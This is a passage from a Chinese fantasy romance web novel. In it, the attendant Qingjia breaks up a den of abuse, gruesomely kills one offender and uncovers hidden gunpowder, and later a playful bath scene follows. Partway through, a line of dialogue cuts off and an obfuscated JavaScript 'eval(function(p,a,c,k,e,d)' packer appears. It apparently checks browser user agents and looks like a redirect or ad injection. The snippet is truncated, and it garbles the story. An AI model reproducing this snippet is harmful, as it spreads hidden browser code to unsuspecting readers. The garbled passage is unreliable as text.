牢笼之中,男女老少,人族灵怪,有的仰面躺着,有的伏面趴着……唯一的共通之处,皆是锁链缠身,不知是死是活。 牢笼之外,是不堪入目的酒池肉林,一众莲华殿的灵侍褪去为人的皮囊,露出极尽泯灭人性的丑恶内里。 归笙浑身颤抖,拼尽全力控制住自己,不要因为情绪的起伏而伤到怀里的白狐。 她看到其中一人,甚至用了化形咒,故意化成了清伽的面貌去做那种事。 清伽比她冷静得多,先是放出封锁咒术,无声包围了这一片地界。 随即他取出一样传讯的法宝,向其中注入髓华。 几息之间,上百道身影从四面八方而来,与那些咒术一道将此团团围住。 归笙:难怪一路无人阻挠,原来暗中有不少随行共事的灵侍拦在外头。 如今,正是收网的时候了。 归笙暗自嘀咕:难道真是她以直觉取人了? 那位看上去薄情寡义的灵祖这一回居然派给了清伽不少人手,她看到里头有不少品级在清伽之上的灵侍呢。 下一刻,清伽一步踏进了包围圈。 埋伏在周围的咒术倾泻而出,以迅雷不及掩耳之势袭向那帮一无所觉的灵侍。 上一刻还在无所顾忌地作恶享乐,下一刻便被咒术反剪双手跪倒在地,跪向的还是平素他们聚众时最爱侮辱咒骂的低贱之人,一众灵侍一时反应不过来,只是茫然无措地想要去掩蔽自己的身体。 直到“咔哒”一声,那座他们精心筹措的牢笼被人打开,那些他们满城挑选捕获的玩物被一只只从中救出时,这帮灵侍才如梦初醒,为首一人当即撕心裂肺地喝止:“住手!” 自然无人听他的。 受制于人,挣脱不得,无法上前制止,那灵侍面皮抽动,终于意识到眼下是个什么状况。 权衡之下,他艰难攒出一点笑来,转向清伽,有几分讨好地道:“清伽,行个方便,咱们同僚几个来喝点酒找点乐子,你别这么扫兴。” 清伽看都没有看他,径自对随行的灵侍道:“全部铐上吧。” 那灵侍的笑瞬间僵硬了。 随即,他的五官扭曲起来,面目狰狞地质问道:“清伽!你又不是第一日知道这些事,你过去不都是视而不见的么?怎么突然变得这么有正义感了?你不觉得你自己很虚伪吗?!” 清伽仍是没理睬他,那灵侍嘶吼半天,胸膛呼哧起伏,血红的眼瞳突然注意到不远处的归笙。 “哦……我知道了。” 那灵侍嘴角抽动,露出个古怪的笑容来:“你这是养了个木头灵怪,就爱屋及乌了?” 他陡然运起髓华,挣开即将来给自己上铐的灵侍,狞笑着盯住归笙,冲清伽歇斯底里地吼叫道:“你敢管这事,我迟早有天会把你这灵怪也拉来这里……” 他的怒吼戛然而止。 取而代之的,是一声惊恐百倍,亦凄厉百倍的尖叫:“啊——” “我的脸!我的脸!我……” 不过叫了两句,便再也发不出声音。 归笙震惊地看着眼前的一幕。 片刻之前,这灵侍虽因纵欲过度,浑身散发难闻的臭气,但到底是青年人,皮肤的纹理间尚未沾染腐朽的死气。 然而此时此刻,仿佛有一重看不见的时间齿轮将他绞住,齿轮带刀,一层一层地削割他那副年青的皮肉。 那一身的皮肉很快被抽干了血水,化成一条条的破布褶皱,干巴巴地垂坠下来,挂在嶙峋凸起的骨头上。 皮肉无可削割了,那齿轮便磋磨其下方的骨头来,只听一阵“格拉格拉”的挫骨之响,从干瘪皮肉下暴露出来的白骨寸寸折断、扭曲、萎缩,肉眼可见地流失其中所有精华,变得似陈年腐朽的墙皮上剐蹭下来的白灰。 此人的光阴岁月,在短短几息之间,便围绕着他流逝殆尽。 归笙时常听清伽的那些同僚阴阳怪气他天赋高,莲华境修炼得好,耳朵都听出了茧子。 但她从未见过他真正动手的模样。 原来莲华境杀起人来,就是这样恐怖。 再次望过去时,那人的皮表已似蜕去的蛇皮剥落,露出下方碎散的白骨。 清伽踏过去,云靴一碾,那白骨便也碎作一地齑粉,随风逝去。 “束手就擒,或者,和他一般下场。” 清伽看着其他跪着的、陷入呆滞灵侍,淡声道:“你们选一样吧。” 鸦雀无声。 一切都发生得太快,短短几次眨眼,一个活生生的人就当着他们的面被锉骨扬灰。 这些灵侍虽然骄纵,心中不服,甚至此刻还在暗暗咒骂,但并不是傻子,剩下的每一个人都明白,自己正是被杀鸡儆猴的那只猴。 所以,无人选择第二个下场。 无比顺利地将所有犯事者铐上后,随行的灵侍犹豫片刻,还是取出带来的斗篷,要为这群赤条条的人体遮上。 清伽却道:“不必。” 随行的灵侍动作一停,察觉他的意图,纷纷愕然不已。 “他们不是爱光着身子乱跑么?” 清伽唇角浮了点笑意,却看得在场之人遍体生寒。 他道:“那就这样拴着他们,从主城大道过,当着西漠万灵的面过,就这么走回莲华殿去,让他们一次性光个够。” 众人骇然失色。 对视片刻,确认清伽不是在开玩笑,有要脸的灵侍忍不住开口,只是那声音怎么听怎么气虚:“你……你自己也是莲华殿的灵侍,你这样做,将莲华殿的脸面置于何地?” 就连跟随清伽前来的灵侍也惊惶不已,纷纷劝道:“清伽,切莫因一时气愤矫枉过正,大家都是同僚,日后还要相处的……任何事过犹不及啊!” 一时间,众口纷纭下,清伽成了新的众矢之的。 仿佛他的惩戒决定,比起方才所见的惨无人道的行径,更值得他们声讨谴责。 归笙那边正将怀里的白狐交给围在牢笼旁边的医修,又帮助他们粗略处理好部分受伤严重的灵怪的伤口,冷不丁听到身后嘈杂的动静,不由担心地朝清伽那边望去。 清伽被你一言我一语的唾沫星子淹着,神色没有一丝动摇。 他道:“莲华殿的脸面?不早就被你们丢尽了吗。” “刚好,不破不立,要丢就丢彻底些,日后重塑起来也方便。” 此次行事的话事人到底是清伽,那些随行的灵侍见他心意已决,无可奈何,只得遵照他的指令行事。 一个个赤身的灵侍被从地上提上拖起来带走,脸色青红皂白,虽皆不敢吭声,然而那一双双怨毒的目光,似恨不能化作实质的刀刃,片片剜下清伽的皮肉。 一个时辰后,留在场中收拾残局的随行灵侍也离开了。 园林中重归寂静,只剩下心照不宣留在原地的二人。 归笙没有犹豫,走上前,拍了拍清伽的肩膀:“辛苦了。” 被带走的那些灵侍里,她一眼扫过,认出其中零星有几个与他关系尚可的同僚。 做出这样不留余地的决定,想必他心里也很挣扎吧。 感受到落在肩头的力道,清伽这才微微回神,低头看向她。 那双眼眸如一泓深潭,潭水萦绕着她的倒影,渐渐泛起不安宁的波澜。 仿佛有一种无言的脆弱,在溃堤的边缘挣扎不休。 然而最终,那波澜安定下来。 像是彻底认清某一件事,无法再自欺欺人,只能归为接受的释然。 清伽忽然俯下身,紧紧抱住了归笙, 抱住了还不够,他似汲取慰藉般,将脸庞深深埋进她的肩窝。 归笙由他抱着,知道他此刻心绪纷乱,想要寻找支撑,给他根木头桩子他也能抱得这么死。 归笙便双手环到清伽的脊背上,轻轻拍了拍,安抚他道:“你做的是对的。” 但她也知道,这件事做对了,即将为此付出的代价,或许远比做错或不做来得沉重。 安静了一会儿,清伽闷闷的嗓音,贴着她的鬓发传过来:“我和他们不一样。” 听言,归笙先是感到疑惑:“这不是一目了然的事情吗?” 随即想起他先前的芥蒂,顿时了然他这是在为自己陈清。 于是归笙更加轻快地拍拍他,笑道:“你对我没有不好的居心,我知道的。” 可惜,她的话并似乎没有安慰到清伽。 他依旧一声不吭,鬓边耷拉下来的发丝堆在她的颈窝,颇有种难言的沮丧。 归笙拍了半天也没把他拍起来,无法,只得安静地站桩,等他缓过来。 就这么抱了一炷香多,清伽总算黏黏糊糊地站直了。 他像是忽然不会走路了一样,只能半个人挂在她的身上行走。 他的理由是:“我是第一次用莲华境杀人……好累,头好晕,你让我靠靠。” 归笙:“……我还以为你要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他道:“你最好祈祷,你这辈子,都别给人抓到破绽。” 说完这句话,石块下的身影便遁入了黑暗。 清伽对归笙解释道:“是遁身的法宝。” 归笙匪夷所思:“他有法宝还乖乖被压在这里?就为了等你办完事给你撂一句狠话吗?” 清伽耸耸肩:“谁知道他,莲华境修炼着修炼着脑子出毛病,是常有的事。” 归笙担忧而绝望地看着他。 初代灵主最后选择不救煌星木,该不会就是脑子出毛病了吧? 往生镜进行到现在,归笙仍是想不出眼前的人究竟有什么理由会放弃煌星木,他分明还要煌星木的木屑给木头灵怪重塑身体呢。 该不会真的是脑子出毛病这个意料之外又情理之中的理由吧? 清伽摸摸她的脑袋:“我目前没有一丝要走火入魔的迹象,所以请停止你那副要给我送终的表情,我还有灵怪要救呢。” 归笙勉强中止危险的思绪:“那,我们也走吧?” 清伽:“嗯。” 然而,就在二人转身的刹那,一道细微而灼热的气流劈空而来。 归笙反应极快,抬手一抓,又被烫得一缩。 摊开手掌,竟是一只火折子,不过已被她徒手攥灭了。 清伽匆忙拿过她的手察看,归笙则疑惑地盯着气流的来处,正是那压着真诩的石块底下。 原来还留了后手。 归笙不免诧异:“真诩临走前丢个火折子过来是什么意思?该不会以为这么一小撮东西能伤到你吧?” 这火折点着个帘子都够呛,她和清伽又不是傻的,难道会眼睁睁看着酒楼烧起来么? 莫非真诩真是被压得精神失常了,还是忽然走火入魔了,连基本的判断能力也失去了? 心底的不安愈发浓重,归笙隐隐有种预感,事情绝没有这么简单。 真诩临走前的那个语气,他一出手,肯定就是奔着把清伽往死里整的程度。 一个简单的火折子,只能烧着细小的东西,但又能造成严重的后果…… 归笙心跳愈快,突然有了某种猜想。 她出于直觉地蹲下来,用指腹摩挲铺地的砖块。 似乎没有异常…… 慢着。 归笙的指尖顿在地砖间的缝隙处。 她咽了下喉咙,对准那道黑乎乎的缝隙,指尖用力一抠—— 指甲勾出一条细细的麻线。 归笙脸色骤变:“清伽,地砖下有东西。” 话音才落,数道莲刃没入砖缝,地砖刹那如龟纹碎裂,又转瞬为莲刃撬开,露出一方看不到四面尽头的地下暗间。 粉尘飞溅,随之而来的,是浓烈到刺鼻的硫磺气味。 拂开粉尘后,二人不可置信地望着地面之下的一幕。 一层层,一摞摞……成百上千,成箱成捆的巨量的火药,与周围堆放的杂物混在一起,就这么藏在地砖底下的暗间中。 那惊人的数量,一旦点燃,绝对能瞬间炸毁整座芳泽楼。 归笙望着手里熄灭的火折,一阵后怕。 真诩那个疯子,是被压在这里时发现了这客栈地下潜藏火药,所以才扔来火折吗? 他就没有想过这等当量的火药被引爆后,就算他自己闪得再快,恐怕也难逃一劫么? 这般宁可损人不利己的个性,真要委以重任的话,简直不知会捅出何等可怕的篓子…… 等等,火药…… 归笙遽然睁大了眼睛。 清伽那边早已取出了传讯法宝,一阵交谈后,他放出咒术,将火药隔离包裹起来。 他拍拍归笙的肩膀:“此事已向灵祖禀明,我们先回莲华殿去。” 归笙一时没动。 她蹲在原地,捂住自己被往生镜封缄的喉咙,神情无奈而痛苦。 她想说,这些火药可能不是私藏这么简单。 很可能西漠全城,有许多其他的地方,也已经如这座芳泽楼一般,被埋下了不计其数的火药。 在它们引起的那场滔天业火里,煌星木死去,西漠开始了三百年的衰落。 然而,她无法说出口。 她本来只是猜测,然而正是因为说不出口,她知道自己说中了。 不是第一次说不出话,但没有任何一次是这样无力。 因为这只是往生镜中的幻境,是发生在过去的无法干涉的既定事实。 她只能眼睁睁看着境中所有的一切,一步一步,走向那一场无法被避免的浩劫。 31. 五方会(上) 对于芳泽楼一事的处罚有了定夺。 凡涉事灵侍,废除修为并逐出莲华殿。 清伽对此的解释是:“灵祖为这件事准备好久了,只要有人替他掀了桌子,他自然不会再给那些人上桌的机会。” 真诩挂在胸前的通行契也被收回,被灵祖交给了清伽“保管”。 归笙摆弄这个闪闪发光的大钥匙,好奇地问:“这算是提前给你定下灵主之位了么?” 清伽摇了摇头:“谈不上,还要看这次五方盛会的事务完成得怎么样。” 归笙:“嗯?确定是你随行了吗?” 清伽:“对,我随行,真诩留下来看守莲华殿。” 归笙:“?” 她震惊:“这人还在呢?” 虽然知道真诩身后有家族的支撑,且没有直接参与此案,不会和他那些跟班下场一样,但…… 归笙无法理解:“包庇芳泽楼一事后,莲华殿还对他委以重任?” 清伽摸摸她一激动就翘起的头发:“灵祖估计还是想给他一个将功补过的机会,至少保住灵侍这个身份,毕竟他莲华境的造诣确实不错,人也勤奋上进,能为莲华殿效犬马之劳。” 又是这个灵祖的主意。 归笙觉得清伽把人想得太好了:“他这么做,不就是打了那些长老一巴掌后,又及时给了他们一颗甜枣么?” “这下好了,”她气愤道,“这件事里彻头彻尾的‘坏人’,就只有你一个了。” 清伽不以为意地道:“真要如此,那也没什么办法,我那日已算贸然行事,灵祖平衡一下也无可厚非。” 听言,归笙如鲠在喉。 清伽为何会不等准备周全,选择贸然行事,她再清楚不过。 莫名的情绪在心头翻涌,迫使她想要做点什么。 归笙想了想,决定遵从本心的冲动,遂一点一点地挪过去,一把抱住清伽的脖颈。 她在他背后拍了拍,轻声道:“谢谢你。” 清伽僵了僵。 柔软的馨香扑面,温热的脸颊也贴着他的耳廓,偏偏她的语气里满是无知无觉,纯粹坦荡得可恶。 须臾,清伽一把搂住归笙的腰,将她抱下来,放到自己的腿上坐着。 归笙等了半天,没等到他的回应,不禁眨着眼问他:“你怎么不说‘不客气’?” 清伽看她半晌,苦笑道:“你那天说你懂,你懂了个什么呀……” 归笙:“啊?” 清伽恨恨地道:“你真是根木头。” 归笙觉得他在发癫:“我本来就是啊。” 清伽:“……” 归笙被握着腰放回桌上,费解地瞧着突然翻开文书的清伽。 这人往日开始办正事前,必然要跟她哼唧磨蹭半天,最后磨得她嫌烦了,连催带赶,才会不情不愿地摸来一本文书翻开。 他今日怎翻得如此流畅? 归笙不免忧心他的精神状况:“清……” 清伽:“如果不想我当你面哭出来的话,你最好暂时不要跟我说话。” 归笙:“……” 归笙不知道此人为何又突然矫情得要死,但见他不想理她,只好先安静呆在一旁,密切关注他的生命体征。 清伽看了一会儿文书,不匀的气息平稳了许多,归笙这才放下了心。 果然人一忙起来,就没空无病呻吟了。 她这才凑过去瞧了眼,文书上字迹密密麻麻,皆是与五方盛会相关的事宜。 五方盛会啊…… 归笙在文书旁趴下,一手撑着下巴,一手指着文书上的字,道:“我一直对‘五方盛会’的这个‘五方’百思不解,难道东丘的凡人也会去吗?” 由于自家师母曾是上一届五方盛会的风云人物,并在最终和掌门云起凡打了惊天动地的一架后,双双并列魁首、名扬天下,因而在归笙的印象里,五方盛会就是个大型的打架盛会。 而在打架一事上,凡人与修士交手,无异于以卵击石,下场注定不佳,所以归笙很不能理解东丘的人也去五方盛会是做什么。 无奈上一届的五方盛会已经过去了五六十年,如今的中州也暂无举办盛会的苗头,归笙的这个疑惑只得一直揣在心底。 她倒是问过师母,但师母自述当时光顾着一路杀进决赛,赛程期间每天两眼一睁就是杀,两耳不闻杀外事,根本没留意东丘的人在干什么,因此也对归笙的问题表示爱莫能助。 不过此刻,有清伽为她解答了。 清伽道:“东丘的人会去,不过他们过去,不是为了打架。” “五方盛会不只是个打架的盛会,各方参与的目的不同,打架主要是中州、南溟、北原三方的事情。其中,北原过去的大多数就是单纯找架打,过过打瘾。但像中州和南溟,这两个地方以人族修士为主,宗门派别多如繁星,各门各派派出自家修士参与武斗赛事,从而展现自身实力,以扬名立万,广纳贤才。” 清伽娓娓道来间,“南溟”二字出现时,归笙不禁有些晃神。 毕竟三百年后,南溟是众所周知的汪洋地狱,无人之境。 原来关于南溟传闻是真的…… 原来在三百年前,南溟的确曾是与中州旗鼓相当的修士地界。 额头忽然被敲了一记。 清伽低头嗔她:“又走神,还听不听了?” “听听听!” 归笙把他的手握下来,追问道:“那西漠和东丘呢?” 清伽看了眼二人相握的手,轻咳一声,这才接着道:“西漠,主要也就是莲华殿,是过去帮举办盛会的中州打打下手,做做后勤保障什么的,比如诵个焕新咒收拾比试场地,诵个变天咒保持赛场天气晴朗……之类的。” 归笙:“……?” 半晌,归笙缓缓地道:“你是说你们千里迢迢地过去,就是去给中州无偿打白工?” 清伽耸耸肩膀:“没办法,莲华殿先祖答应中州先祖的,沿袭几千年了,西漠又没和中州起冲突……纵然灵侍内部怨声载道,但这种友好的联系突然断掉也不好。” 归笙匪夷所思:“所以你们先祖到底为什么要答应这种事情?” 清伽:“嗯,原因有很多,一来是五方域境的众多先祖的确交好,也觉得后世多多来往是个好事;二来是西漠的灵侍擅长通过诵咒处理各种问题,但确实不大擅长打架,也算是扬长避短……” “三来,就是和你问的东丘有关了。” 归笙耳朵一竖:“嗯?” 清伽道:“东丘之所以要来五方盛会,实际上就是冲着莲华殿来的。” “莲华殿的先祖曾被东丘的主人救过一命,所以给东丘留下了一枚信物,承诺日后东丘若有所求,莲华殿定不计代价,倾力相助。” “所以每一次五方盛会期间,东丘都会派使者来和莲华殿叙旧,其实也就是试探莲华殿如今的态度,看我们是否还承认这枚信物的意义。” “而莲华殿为了让他们定心,也就从不缺席五方盛会,当面给予东丘使者肯定的回应。” 归笙不由想起白鹤掌柜的信物,想着莲华殿的先祖还真是到处给信物。 她好奇地追问:“东丘至今还没用掉这枚信物吗?” 清伽:“没呢,他们非常珍惜 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在这个不带狎昵的拥抱中,木头灵怪残缺的躯壳战栗着,艰难而贪婪地啜饮他掌下绵厚的髓华,如汲取一线微茫的生机。 一炷香后,僵冷的躯体总算渐被煨暖,紧绷的髓脉也缓缓舒展。 “就快了……” 归笙方才恢复了点意识,就听到这一声贴着耳鬓传来的,缱绻而温柔的低语。 不知是在安慰她,还是在安慰自己。 “很快,你就不用这样担惊受怕了……” 拥着她的人颤得厉害,归笙不禁迷蒙地想:担惊受怕的,好像是你。 她攒了点力气,微微偏首,血水濡湿的唇瓣,忽而贴到一尾薄绒的湿热。 归笙不知道那是什么,但也不纠结,只执拗地想说出安抚的话。 唇瓣轻启,她也不知是否真切地发出了声音,只一味地压着那尾湿热反复摩挲,不知不觉间,竟将那汪盈的苦涩水泽啄尽。 在她误打误撞的安抚下,身前的人逐渐安定了下来。 把人哄好了,归笙心头重石落地,随后便在那月光般柔和的髓华里,安详地一歪脑袋,睡了过去。 - 赶赴中州当日。 临行之际,归笙由于还是无法化出原形,只能以人形跟在清伽身边。 在周遭的一众火辣注目里,归笙忍不住对清伽叹气:“真要把真诩留下,以他那睚眦必报的个性,恐怕等你这一趟回来,又要有许多人被他带跑,说你的坏话了。” 芳泽楼一事后,虽无人再敢当面与清伽起冲突,但那眼神中的鄙薄与敌意,却是强烈到无法掩藏。 这不,眼下就是现身说法。 清伽正旁若无人地俯着身,将她的头发编成不会随风乱飞的麻花辫:“说呗,我又不痛不痒的,让让他们。” 归笙苦口婆心:“不要掉以轻心啊,谁知道被莲华境搞坏脑子的人能做出什么事来……” 话音未落,那边的灵祖宣布道:“该出发了。” 莲华殿出发的方式,是所有法修灵侍集结构筑传送法阵,将包括自己在内的出行之人送出西漠。 由于传送法阵有距离上的限制,这法阵得使用三次才能抵达中州,且每次使用间需要三日的休整,因而一共需要为期七日左右的赶路时间。 赶路期间,归笙亲身体验着每用一次就一瞬千里的传送法阵,不禁联想到被抽髓华的那一夜,那名女子撕裂天幕遁走的术法。 她想,不知道那种神秘的术法是否也有距离的限制。 七日后,出行的灵侍顺利抵达中州。 32. 五方会(下) 五方盛会期间,清伽比在莲华殿时还忙得脚不沾地。 知道自己没有办法时时刻刻陪伴归笙,清伽直接连夜创了一种咒术,令寝屋中充满他的髓华,且每日清晨出门前,他都要再三叮嘱归笙不要离开寝屋半步。 白天,归笙基本见不到清伽的人影,但只要他一回来,便会不由分说将她抱起来灌输髓华,好像生怕再迟一些,髓华再少给一点,她就会原地死掉。 归笙:其实屋里的髓华够用了,真的。 但每每看着清伽唇色苍白的模样,她还是将这句话吞了下去。 嗯,如果抱着活生生的木头能让他安心的话,就让他抱吧。 好在后来,清伽也渐渐意识到归笙还没病入膏肓到这种程度,回来时总算不盲目地挥霍髓华了。 归笙为他节约髓华的行为感到高兴,并在某天清伽看文书时,心动地提议道:“你看这院子里的髓华这么充裕,晚上把我裹成蛹搂着也免了吧?我看隔间的那个浴池就很不错!我想试试一晚上泡在里头睡一觉……” 清伽却对这个提议不太高兴,幽怨地睨了她一眼,继续闷头苦读,假装没听到她的提议。 他不同意,归笙无法,只得心痒难耐地觊觎那间浴池。 那浴池需以髓华催动,清伽不在,她到底不敢拿这具破破烂烂的躯壳尝试。 但令归笙没有想到的是,她的愿望最终还是以一种奇奇怪怪的方式实现了。 这天,清伽回来时,归笙被他的样子吓了一大跳。 她急得直接跳了过去:“你这胳膊怎么了?!” 明明早上出门还好好的,这会儿他的左手手臂却缠满了雪白的绷带,以一种不自然的方式吊挂在胸前。 清伽不愿她担忧,试图轻描淡写地掩过:“摔了一跤,不妨事。” 归笙一语戳穿:“首先你会摔跤这个事情就存疑。” 清伽无辜地说:“我是两条腿的生物,偶尔左脚绊右脚不是很正常?” 归笙眉毛跳了跳,不待发作,又注意到什么,一把抓住清伽完好的右臂,把他的袖口往上一抹。 腕间空空如也。 归笙抬眼看他:“连咒珠也不见了,还说只是摔了一跤?你自己说过的,这东西相当于莲华殿灵侍的认证,丢了的话,你要挨罚的。” 清伽瞥了眼她抓住自己的手,面上的疲惫一扫而空,温声道:“旧的不去,新的不来,罚过便能领到新的咒珠了……这里毕竟是中州域境内,少生是非。” 归笙气闷道:“所以你怎么会断了胳膊又丢了咒珠?该不会是有人暗杀……” 清伽笑道:“我没那么大脸面,真的只是当时人太多,场面太混乱,我要护着东丘的使者不被乱跑的北原来客撞飞,不知道被谁暗暗绊了一腿……不过根据气息,应该是哪个看我不顺眼的同僚吧。” 如果他说的是真的,归笙就更气闷了:“你都快当上灵主了,他们怎么还敢这么欺负你?” 清伽眨了眨眼,一时没出声,目光奇异地瞧她。 随后,他伸出完好的那只手,捏了捏她的脸颊。 “……”归笙瞪他,“你干嘛?” 清伽“扑哧”笑出来,捏她脸颊的手指越发肆无忌惮,曼声道:“嗯,就是,没见过你这么心疼我的样子……突然就感觉,这条手臂断得很值了呢。” 归笙憋了半天,没憋住,骂:“你有病吧!” 清伽如沐春风地道:“有病啊,手断了,你这不是看到了吗?” 见她真的要发怒了,他忙补救一句:“我真的没事,已经去老龟……咳,去医修前辈那里看过了。” 他从乾坤袋中掏出一个小盒子,往桌角一搁:“还抓了药,很快就会好的……对了。” 看到药盒,清伽蓦地想起什么,有些迟疑地看她:“可能需要你帮个忙。” 归笙指了指自己:“?” 这人鲜少露出这样为难的神色,她理所当然地认为这是一件难以启齿的棘手之事。 能让这家伙都感到纠结的事…… 思绪一岔,归笙惊恐地向后一缩:“这药方……该不会需要木头做药引吧?” 清伽:“……你想到哪里去了。” 她语出惊人,他嘴角抽搐:“芳泽楼一事后出了许多新戒,其中有一条就是不得以任何形式拿灵怪做药引,我还要争当灵主呢,怎么会顶风犯案。” “还有。” 他实在是郁愤难平,没忍住屈起指节,在这个气人的木头脑瓜上敲了一记。 清伽语气不善道:“我对你很差么?你竟然怀疑我会拿你做药引?” 那也确实是很不差。 归笙将一颗心揣回肚子里。 自知失言,她讪讪地爬回原处,讨好地牵住他的衣袖,殷勤发问:“是什么忙?” 清伽却不理她了,轻哼一声,端起木盒就走。 他背影萧瑟地道:“真是没良心,不用你帮忙了,我一个人怎么活都是活。” 归笙:“……” 糟糕,这回矫情的架势前所未有。 看来是真的生气了。 也对,一心要救的木头灵怪,疑似对他还心存一分提防,竟脱口而出会拿她去做药引,换位思考一下,她也会感到心寒。 归笙这边自我批评自己这张不经过大脑的快嘴,清伽那边其实并未生气,更谈不上心寒。 他之所以匆匆走掉,只是因为这个忙实在说不出口,于是佯作赌气地揭过。 一炷香后,一墙之隔。 清伽对着热气蒸腾的浴池,无奈地叹了口气。 本来清洁咒也能将就,但从医修处离开前,随行的山龟指着木盒里的两袋药粉,眉开眼笑地叮嘱他道:“你小子总算伤筋动骨了哦呵呵……而且伤得不轻呢!” “瞧这干净利落的断面,踩断你胳膊的人绝对下肢力量极强,有点像北原的兽类魔族……总之你要想好得快些,不想吊着条手臂出现在祈灵祭典上,就老老实实地用这一袋子药浴吧。” “光药浴也不够,记得在池子里把另一袋的药粉敷一敷,重塑筋骨用的,好得更快……什么?不方便?也对,你没有交好的同僚,没人帮你上药,真可怜哦呵呵……不过,你养的那个小木头不是跟过来了么?你让她帮你不就行了?” 将山龟幸灾乐祸的嘲笑抛诸脑后,清伽认命地拆掉绷带,将折掉的手臂搭上池边。 他自己看了眼,伤得是有些严重。 毕竟被两拨人折腾过,倒也正常。 一拨是他的灵侍同僚,知道他急着回来,提前布好了陷阱,他闪避不及,摔了个跟头,胳膊着地。 而另一拨……不,另一个,就是老龟口中疑似北原兽类魔族的那个,那人就是冲着他腕上咒珠来的,趁他摔在地上,一脚踩断他的手臂,偷完他的咒珠就跑了,连脸都没能看清。 五方盛会来者济济,也有专门混进来偷盗的窃贼,他当时就放弃了追找此人的念头。 就当是流年不利,时运不济吧。 清伽回想完,另一只手刚摸到药粉,便听到帘外响起一串异动。 他一怔,旋即了然。 “……” 清伽微微垂眸。 药池水面波光粼粼,映出他浮浮沉沉的眸光。 一如某些欲止难休的心思,再生波澜。 与此同时,一帘之隔。 归笙仰头瞪着天花板,悄无声息地捶胸顿足,懊悔不已。 清伽走得太决绝,她特意隔了一炷香才过来,又怕他仍在气头上,走正门会被他轰出去,便取巧地从隔间的窗子翻了进来。 翻进窗时,她已在脑内演练好当场滑跪赔罪的一套流程。 结果好死不死,弄巧成拙,撞上了他在沐浴。 她总不能跪到浴池边,对着池子里不着寸缕的人赔罪吧。 那画面太不正经了,一点也没有诚意,就好像故意去捣乱似的。 待会再来吧。 归笙蹑手蹑脚地转身,正打算原路折返。 帘后却传来清伽柔和的声音:“来都来了,过来帮我上个药吧。” 归笙半个身子都麻了。 不知为何,这一声比他寻常的音色要柔上许多。 那幽微的尾音,活似一道细小的钩子抛来,含着濡湿的水汽,噙着馥郁的香息,勾住她的裙摆,缠住她的小腿,令她生生走不动道了。 归笙的内心挣扎不已,唾弃自己思想龌龊,又听清伽道:“放心,我穿了衣裳。” 唯一的顾虑烟消云散。 归笙一个箭步,掀帘走入:“来嘞……” 又如鞭抽陀螺般拧回身去,捂眼发出尖锐的爆鸣:“你这叫穿了衣裳?!” 身体是转过来了,眼睛也捂住了,然而方才那一幕香艳至极的画面还在脑内循环重演,不断挑拨着她脆弱的神经。 方才纱帘荡起的刹那,水雾氤氲间,浮出的美人乌发散若墨缎,只着一层轻薄的浴衣。 更糟糕的是,由于浴衣的褶痕被水流捋顺,紧贴玉石般白皙的躯体,衣物的遮蔽作用毁得彻底,勾勒与描摹的作用翩然显现。 薄薄的衣料间,透出肌理蒸红的绯色,与起伏有致的线条。 那股半遮半掩、欲说还休的劲头,比他直接光溜溜大剌剌地站那,还要来得勾魂摄魄得多。 鼻尖阵阵发热,归笙双手捂鼻,苦不堪言。 这人怎么回事?穿成那样都敢叫她进去?! 无声崩溃间,小腿陡然一阵湿烫,惊得归笙险些跳起来。 是清伽指尖撩了点水,洒向她的脚踝。 归笙惊愕道:“……你干嘛?” 清伽伏上池边,据理力争:“我这是药浴,当然要穿得薄一些啊?穿厚了的话,药材全喂了衣裳,我还浴个什么劲?” “罢了。” 见她背影僵硬,仍是不肯回头,清伽低落地道:“你勉强的话,就算了。” 归笙一滞。 水声潺潺,她听出清伽在药池中转过了身。 随即,温淡的、无欲无求的、万念俱灰的嗓音,自药池中幽幽飘来:“没人帮我上药,我就自己将就上呗,这么多年都是这么将就过来的……药洒了也没关系,伤好不了也没关系,反正,大不了就这么吊着手臂在祈灵祭典上露面呗……好在我那些同僚本就看不惯我,一直把我当作笑柄,丢不丢人,出不出丑的,也就不重要了……” 归笙:“……” 归笙深深吸了口气。 默念三遍作词版清心咒,归笙捂住鼻子,四大皆空地转过身。 清伽仍是背对着她,有晶莹的水珠顺着他潮漉的发丝滑落,若隐若现的肩线微微绷着,显出一丝清丽的倔强。 归笙绷不住了:到底在装什么啊! 归笙认输了,无力吐槽地走过去,在药池边蹲下,伸出一根手指,戳了戳那倔强的肩膀:“好了好了,胳膊伸出来,我给你上药。” “一大把年纪的人了,”她另一手把药粉取过来,“还装可怜。” “哗啦”一声,清伽转身,怒目而视:“我怎么就一大把年纪了?” 美人虽仍有嗔容,但好歹是把胳膊递过来了。 归笙:“嗯嗯,你最年轻,你太年轻了,你是我见过最年轻的人。” 她捉住那只惨不忍睹的胳膊,一门心思替他上药,全程目不斜视。 到了最后收尾,无须动用两只手时,归笙便腾出其中一只,再度捂住口鼻。 清伽 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不知过了多久,待到稍微恢复知觉,她已经置身于温热的池水中了。 后腰被屈起的膝腿抵住,手肘不由自主地撑住迎面的胸膛,她虽未睁眼,但能感受到自己整个人正以一个蜷缩的姿势,伏在清伽的身上。 归笙觉得这个姿势有点拥挤,遂掀开沾水的眼睫,还没来得及抗议,便有苦涩的药汁流入眼睛,涩得她嗷嗷叫出了声。 叫了没两声,脸颊便隔着巾帕,被一只手掌托住。 巾帕的一角覆上她的眼睑,将那药汁一点一点地轻柔拭去。 须臾,归笙眼睛清爽了。 然后她的脑子就不清爽了。 冲击眼球的诸多人体细节近在咫尺,无一不在宣告她方才目不斜视的努力全部付诸东流。 归笙:“……” 归笙郁闷地发出一声叹息。 吐息洒到近在唇前的锁骨上,那肤色倏然更红。 身前的人僵了僵,将她往上托了托。 归笙没在意,只觉得太安静了,好无聊,想说点什么。 于是她道:“这下药池里泡着两个伤号了,会不会分掉你的药啊?” 这可真是没话找话。 但对面是清伽,他不会介意的,毕竟他也经常没话找话。 可是清伽还是不说话。 归笙奇怪,撑住他的肩,想要起身看看他怎么了。 嘴上不忘安慰道:“我感觉恢复得差不多了,可以……” 拢在她脊背上的手却一用力,将她按了回去:“再等一等。” 他如此强硬的时候并不多。 归笙明白,这一回是真的把他吓狠了。 于是她乖乖伏了回去。 